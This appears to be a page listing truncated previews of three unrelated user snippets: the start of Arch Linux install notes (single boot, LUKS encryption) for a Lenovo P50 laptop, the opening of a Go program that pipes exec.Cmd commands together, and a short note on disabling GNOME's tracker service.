| These are working notes on the installation of Arch Linux. I've just completed this install on a notebook (Lenovo P50) | |
| but the setup should work for most laptop/desktop configurations. | |
| Some assumptions/notes: | |
| 1. This isn't a dual boot configuration. I can see some of the appeal and still work in Adobe from time to time, but given | |
| the increasing complexity of EFI and the way Windows/MS manhandles the EFI partition during upgrades, I really would | |
| recommend steering clear of dual boot. Just my two cents here. | |
| 2. We're encrypting with LUKS. I've used so-called "self encrypting drives" as well (and linux has multiple ways of dealing |
| package main | |
| import ( | |
| "bytes" | |
| "exec" | |
| "log" | |
| "os" | |
| ) | |
| // Pipeline strings together the given exec.Cmd commands in a similar fashion |
GNOME's tracker is a CPU and privacy hog. There's a pretty good case as to why it's neither useful nor necessary here: http://lduros.net/posts/tracker-sucks-thanks-tracker/
After discovering it chowing 2 cores, I decided to go about disabling it.
